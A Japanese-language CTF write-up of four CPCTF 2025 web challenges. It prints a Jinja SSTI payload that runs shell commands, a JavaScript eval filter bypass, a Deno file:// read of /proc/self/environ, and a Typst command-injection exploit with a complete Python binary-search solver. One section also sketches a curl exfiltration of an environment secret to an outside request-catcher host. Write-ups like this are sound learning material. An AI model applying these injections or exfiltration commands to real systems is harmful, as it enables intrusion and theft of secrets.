# CPCTF 2025 Web writeup Web問だけやりました。 ## Name Omikuji ```python result = f""" {css} <h1>🔮 名前占い 🔮</h1> <div class="result"> <p>こんにちは、{name}さん。</p> <p>あなたの運勢は…… <span class="fortune">{fortune}</span> です!</p> """ if fortune == "大吉": with open("flag.txt", "r") as f: content = f.read() result += f'<div class="flag">フラグは{content}です。</div>' result += "</div>" return render_template_string(result) ``` `render_template_string`くんがいます。SSTIですね ``` {{ request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('cat flag.txt')['read']() }} ``` ![image](https://hackmd.io/_uploads/B10XvIMJel.png) `CPCTF{sst1_is_d3ngerou2}` 大凶らしい・・・ ## String Calculator 文字列連結もしてくれるらしい。 evalしてるので楽勝・・?と思ったら ```js if (input.length > 64) throw new Error("Input too long"); if (/[()\[\].=]/.test(input)) throw new Error("Invalid characters in input"); if (/delete|Function|fetch|\+\+|--/.test(input)) throw new Error("Invalid keywords in input"); ``` 制限がいっぱい。`.`も`()`も使えないのかぁ・・・厳しい・・・ よく見るとgetFlagという関数がある。 ```js const getFlag = () => process.env.FLAG ?? ""; ``` どうにかして`getFlag`を実行したい そういえばtoStringなら頑張れば呼び出せそう。 上書きしてしまおう。 ``` `${{toString:getFlag}}` ``` ![image](https://hackmd.io/_uploads/ryyKdUGkel.png) `CPCTF{JavaScr!pt_!s_4n_4wes0me_1anguage}` ちなみにガチで詰まって一番最後に解きました。精進します・・・ ## Blend Script TSを実行してくれるサービス。 Deno使ってるらしい。触ったこと無いけど権限周りがNode.jsとちょっと違う覚えがある。 Dockerfile見るとENVにFLAGがセットされてるのでまずは普通に読んでみる ![image](https://hackmd.io/_uploads/ByOmjLMyee.png) 怒られた。`--allow-env`なるオプションが必要らしく今回のコードにはない。 では`/proc/self/environ`は?`--allow-read`ついてるし・・・ ![image](https://hackmd.io/_uploads/ByoKsLfkgx.png) 残念。 じゃあ`import`はどうだろう。 ![image](https://hackmd.io/_uploads/rJzkh8z1ex.png) 惜しい!読めてはいるが省略されている。`Y`で始まることはわかった。 最後に思いついた`fetch("file://...")`をやってみる ![image](https://hackmd.io/_uploads/H1HV2IMklg.png) ```js console.log(await (await fetch("file:///proc/self/environ")).text()) ``` ``` CPCTF{YOU_can_rEad_3VeryTh1NG_4s_4_Fil3} ``` ## Typst Note ![image](https://hackmd.io/_uploads/B1m2PDfkle.png) Typstだ。最近めっちゃ使ってるので個人的に解いておきたい。 とりあえず、Server.ktを読む。 ```kt= try { val request = call.receive<PublishRequest>() if (request.pageId.trim().isEmpty()) { throw IllegalArgumentException("Page ID cannot be empty") } if (request.pageId.length > 25) { throw IllegalArgumentException("Page ID is too long") } val pdfName = "\"${request.pageId.replace(Regex("""(?=["`\\])"""), "\\\\")}.pdf\"" // Compile the Typst code into PDF Files.createDirectories(Paths.get("requests")) val compileProcess = ProcessBuilder("bash", "-c", "typst compile - requests/$pdfName").start() compileProcess.outputStream.use { it.write(request.content.toByteArray()) it.flush() } if (compileProcess.waitFor() != 0) { throw RuntimeException(compileProcess.errorStream.bufferedReader().readText()) } logger.info("Received publish request: $pdfName") call.respondText("Publish request received", status = HttpStatusCode.OK) } catch (e: Exception) { // DO NOT respond with the error message for security reasons call.respondText("Error processing publish request", status = HttpStatusCode.BadRequest) } ``` どうやらRequest Publish to Adminを押すとAPIにtypstソースとIDが投げられ、typstでコンパイルされた後、保存されるみたい。 まず、`ProcessBuilder`の箇所にpdfNameが埋め込まれているので、コマンドを実行できそう。 じゃあ、pageIdを` $(echo -n 'curl' > s)`のようにして、ファイルに少しずつ`curl https://n.requestcatcher.com/$FLAG`のようなコマンドを書き込み、最後にそれを` $(. s)`で実行すれば文字数制限あっても大丈夫そうと思った。 しかし、よく見たらseccompがかかっており、外部への通信はできなさそう。 ```json { "defaultAction": "SCMP_ACT_ALLOW", "syscalls": [ { "names": [ "connect", "getaddrinfo", "gethostbyname", "gethostbyname2" ], "action": "SCMP_ACT_ERRNO" } ] } ``` うーーんと悩んでいるとあることに気づいた。 typstのコマンドの実行に成功すると200が返り、失敗すると400が返る。 うまくやれば二分探索できそう。 25文字の制限内でもコマンドインジェクションのみで二分探索できるのかもしれないが、私はあまりシェル芸が得意ではない(むしろ苦手)のでどうせならTypstを使って解く。 ### 流れ まず、`$(echo $FLAG>requests/f)a`でrequests/fに、フラグを書き込む。 次に以下のようなtypstのコードを用意する。 ```typst #let flag = read("requests/f") #if flag.find(regex("^CPCTF\\{<regex>.*")) != none { [ok] } else { panic("byebye") } ``` このコードは、まず`requests/f`からファイルを読み取り、正規表現でパターンにマッチするものがあるか調べる。 見つかればコンパイルが通り、見つからなければ`panic`でコンパイルが失敗する。 `<regex>`の部分をいい感じに変えて二分探索すれば解けそう。 ### solver ```python import json from time import sleep import requests flagtext = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_!?}" def main(): url = "https://typst-note.web.cpctf.space/api/request-publish" #url = "http://127.0.0.1:8080/api/request-publish" default_header = { "Content-Type": "application/json", } # write the flag to file req = requests.post( url, data=json.dumps(data("""$(echo $FLAG>requests/f)a""")).encode(), headers=default_header, ) print(req.text) candidates = split_half(flagtext) ans = "" while True: print(ans) # print(candidates) # 念の為リミッター sleep(0.1) req = requests.post( url, data=json.dumps(data("a", typst_payload(f"{ans}[{candidates[0]}]"))).encode(), headers=default_header, ) # print(req.status_code) if req.status_code == 200: # regex ok candidates = split_half(candidates[0]) else: # regex fail candidates = split_half(candidates[1]) concat = candidates[0] + candidates[1] if len(concat) == 1: # found ans += concat if concat == "}": print("flag found") print("CPCTF{" + ans) break candidates = split_half(flagtext) def split_half(s): half = len(s) // 2 return s[:half], s[half:] def data(id: str, content: str = ""): return { "pageId": id, "content": content, } def typst_payload(regex: str): # escape special characters regex = regex.replace("?", "\\?") return ( """ #let flag = read("requests/f") #if flag.find(regex("^CPCTF\\{""" + regex + """.*")) != none { [ok] } else { panic("byebye") } """ ) if __name__ == "__main__": main() ``` 実行すると ![image](https://hackmd.io/_uploads/SJAdawfylg.png) ``` CPCTF{H!deErr0rN0t54fe} ```